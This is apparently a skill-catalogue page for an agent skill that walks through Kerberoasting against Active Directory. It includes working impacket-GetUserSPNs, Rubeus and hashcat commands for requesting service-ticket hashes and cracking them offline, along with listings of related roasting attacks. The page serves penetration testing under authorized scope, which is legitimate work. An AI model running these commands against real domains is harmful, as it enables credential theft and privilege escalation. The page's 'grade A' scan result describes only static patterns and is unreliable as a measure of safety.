Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/kerberoasting-active-directoryWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/kerberoasting-active-directory)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kerberoasting-active-directory"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kerberoasting-active-directory/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kerberoasting-active-directory"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kerberoasting-active-directory.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00058 | $0.01819 |
| Opus 5 | $0.00029 | $0.00910 |
| Sonnet 5 | $0.00012 | $0.00364 |
| Haiku 4.5 | $0.00006 | $0.00182 |
Grade A, and why
kerberoasting-active-directory scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- kerberoasting-active-directory — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 160 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kerberoasting Active Directory
When to Use
- When you have compromised any standard, unprivileged Active Directory user account and need to escalate privileges.
- When you want to target service accounts, which often have weak passwords, high privileges (e.g., Domain Admin), and passwords that rarely expire.
- When you want to conduct a stealthy attack without executing code on the Domain Controller, as requesting Service Tickets (TGS) is a normal AD function.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying Service Principal Names (SPNs)
# Concept: In Windows domains, services (like SQL Server, IIS, Exchange) run under specific user
# accounts. These accounts are associated with SPNs. To access a service, any user can request a
# Ticket Granting Service (TGS) ticket for that SPN from the Domain Controller. The TGS is encrypted
# with the password hash of the service account.
# Kerberoasting takes advantage of the fact that ANY domain user can request a TGS for ANY SPN.
Phase 2: Requesting and Extracting TGS Tickets
# Using Impacket (from Kali Linux/attacker machine)
# Assuming you have compromised a standard user 'Bob' with password 'Welcome123!'
# 1. Identify kerberoastable accounts and request their TGS hashes
impacket-GetUserSPNs -request -dc-ip 10.0.0.5 'corp.local/Bob:Welcome123!' -outputfile hashes.txt
# Using Rubeus (from a compromised Windows endpoint)
# Run from a command prompt with Bob's context (e.g., Cobalt Strike beacon)
Rubeus.exe kerberoast /outfile:hashes.txt
Phase 3: Offline Cracking
# Concept: The extracted TGS tickets are encrypted with the service account's NTLM hash (often RC4 encryption).
# You can use Hashcat to crack these hashes offline without generating any network traffic or lockouts.
# 1. Crack hashes using Hashcat with a wordlist (e.g., rockyou.txt)
# Hash type 13100 is for Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O
# 2. Review the cracked passwords
# Hashcat will output the plaintext password if a match is found in the wordlist.
# E.g., svc_sqluser:Password2023!
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 160 lines · 58 tokens per session scan A 9d4dbb2bd33d
kerberoasting-active-directory is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 58 tokens to every session and 1,819 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
kerberoasting-active-directory
Execute a Kerberoasting attack to extract Service Principal Name (SPN) ticket hashes from Active Directory and crack them offline. This allows an attacker with any valid domain credentials to escalate privileges by obtaining the plaintext password of highly-privileged service accounts.
kerberoasting-attack
Exploit Active Directory environments using Kerberoasting. This skill details how to identify Service Principal Names (SPNs) associated with user accounts, request their TGS tickets, and crack the RC4 encrypted component offline to recover service account passwords.
hunting-kerberoasting-and-ticket-attacks
Hunts for Kerberoasting and related ticket attacks by analyzing Kerberos service ticket request events (4769) for weak encryption types, abnormal request volume per account, and non-machine accounts requesting many SPNs. Activates for requests to hunt Kerberoasting, detect RC4 ticket requests, or find SPN-targeting…
active-directory-asreproasting
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
active-directory-kerberoasting
Execute a Kerberoasting attack to extract and systematically crack the NTLM hashes of Service Principal Name (SPN) accounts in an Active Directory environment. Uses tools like Rubeus, Impacket (GetUserSPNs), and Hashcat to achieve domain privilege escalation domain: cybersecurity.
ad-asreproast-attack
Exploit Active Directory environments using AS-REP Roasting. This skill details how to identify user accounts with the 'Do not require Kerberos preauthentication' (DONTREQPREAUTH) attribute set, request their AS-REP tickes without a password, and crack the encrypted component offline to recover plaintext credentials.